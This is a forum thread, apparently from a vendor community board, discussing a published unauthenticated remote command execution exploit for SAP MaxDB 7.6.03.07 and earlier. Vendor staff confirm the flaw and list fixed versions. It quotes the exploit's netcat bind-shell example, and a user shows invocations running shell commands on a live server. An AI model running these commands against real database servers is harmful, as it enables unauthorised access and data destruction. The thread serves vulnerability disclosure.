Remote Exploit!

[Former Member]

Hi there,

Exploit for maxdb <= 7.6.03 Patch 07 found.

http://www.milw0rm.com/exploits/4877

Works fine for 7.5 too (32bit and 64bit).

There is no fix right now.

Regards

Manuel

[former_member468055]

Hi Manuel,

thank you for reporting this problem. We will check and fix this.

Unfortunately the problem was not reported directly to us before the publication by the author.

Best regards

Bernd

[Former Member]

We will fix it immediately within the next 2 weeks with the versions specified below. Administrators should check their firewall settings to be secure. This flaw only applies if the intruder is within the network and has direct remote access to the database server.

Expected minimum MaxDB Versions that will contain the fix:

7.5.00.48

7.6.03.15

7.6.04.07

7.6.05.03

7.7.02.20

7.7.03.23

7.7.04.09

And all higher ones.

Further information will follow as CSS note.

[lbreddemann]

Hi Manuel,

sorry - and perhabs I don't get it - but:

this is not an exploit at all!

There are commands for dbmcli that do not require authentication for execution, such as the listing of installed databases on a server. That's correct, that's how it's designed.

But the "exploit" does in no way grant access to a remote system.

As I understood it, the idea of this "exploit" is this:

<run_dbmcli_command_without_logon> && <run_any_series_of_dangerous_looking_shell_commands>.

Than it's claimed, that the <series_of_dangerous_looking_shell_commands> is executed on the remote server, without requiring authentication.

That's of course wrong. The <dangerous_looking_shell_commands> will always be executed in your local shell - where you are already logged on.

By design the dbmcli does not open a shell on the remote server, but uses the X_SERVER-Process to mediate requests that come in via network.

Have a look into the documentation:

[Architecture of the Database Tools|http://maxdb.sap.com/currentdoc/41/91afeee1fd6107e10000000a114cbd/content.htm]

Hope that clarifies the situation.

BTW: from the source code of the demo program it looks like this never had been tested against any remote server..:

"Usage: %s <host[:port(%hu)]> <command>\n"

"\n"

"Examples:\n"

" %s localhost \"echo dir
| cmd.exe\"\n"

" %s 127.0.0.1 \"nc -l -p 5555 -v -v -n -e cmd.exe\"\n"

KR Lars

[Former Member]

Hi Lars,

i dont get it?

I'm not authenticated against the DB Server. And im able to run every command

on the Server with privileges of the x_server process from remote. Which is user sdb.

So i'm able to delete the DEV spaces. I think this IS an exploit!

C:\2008-sapone>sapone aremotehostname.de "echo ls / \ | /bin/bash"

SAP MaxDB <= 7.6.03.07 remote command execution 0.1

by Luigi Auriemma

e-mail: aluigi@autistici.org

web: aluigi.org

- target 10.12.1.33 : 7210

- send connection data

- send command: "echo ls / \ | /bin/bash"

- wait data from the server (depending by the command you used):

OK

0,OK: everything works fine

0,sdbinfo && echo ls / \ | /bin/bash

backup

bin

boot

dev

etc

home

lib

media

mnt

nsr

opt

passwd

proc

root

sapdb

sapmnt

sbin

srv

sys

tmp

usr

var

- done

[Former Member]

Hi Lars,

from my local Windows PC:

C:\2008-sapone>sapone thedatabaseserver.de "echo touch /sapdb/SID/sapdata/gaga \ | /bin/bash"

SAP MaxDB <= 7.6.03.07 remote command execution 0.1

by Luigi Auriemma

e-mail: aluigi@autistici.org

web: aluigi.org

- target 10.12.3.19 : 7210

- send connection data

- send command: "echo touch /sapdb/SID/sapdata/gaga \ | /bin/bash"

- wait data from the server (depending by the command you used):

OK

0,OK: everything works fine

0,sdbinfo && echo touch /sapdb/SID/sapdata/gaga \ | /bin/bash

- done

-

---

Now i'm logged in per SSH in the DB Server:

servername:/sapdb/SID/sapdata # la

total 125952216

drwxrwxr-x 3 sdb sdba 4096 Jan 10 11:32 .

drwxr-xr-x 5 root root 4096 Oct 1 17:12 ..

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0001

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0002

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0003

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0004

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0005

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0006

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0007

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0008

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0009

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0010

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0011

-rw-rw---- 1 sdb sdba 10737418240 Jan 8 03:49 DAT_0012

-rw-rw---- 1 sdb sdba 0 Jan 10 11:32 gaga

drwx------ 2 root root 16384 Sep 28 17:38 lost+found

No exploit? Feature?

The x_server should only allow the commands from non priviledged users.

Regards Manuel

Edited by: Manuel Herr on Jan 10, 2008 11:44 AM

[lbreddemann]

Hi Manuel,

ahhh - now I got it. Sorry.

Yes, I can also perform such an access via exec_sdbinfo.

This should be fixed - yes.

Thanks for pointing out.

Lars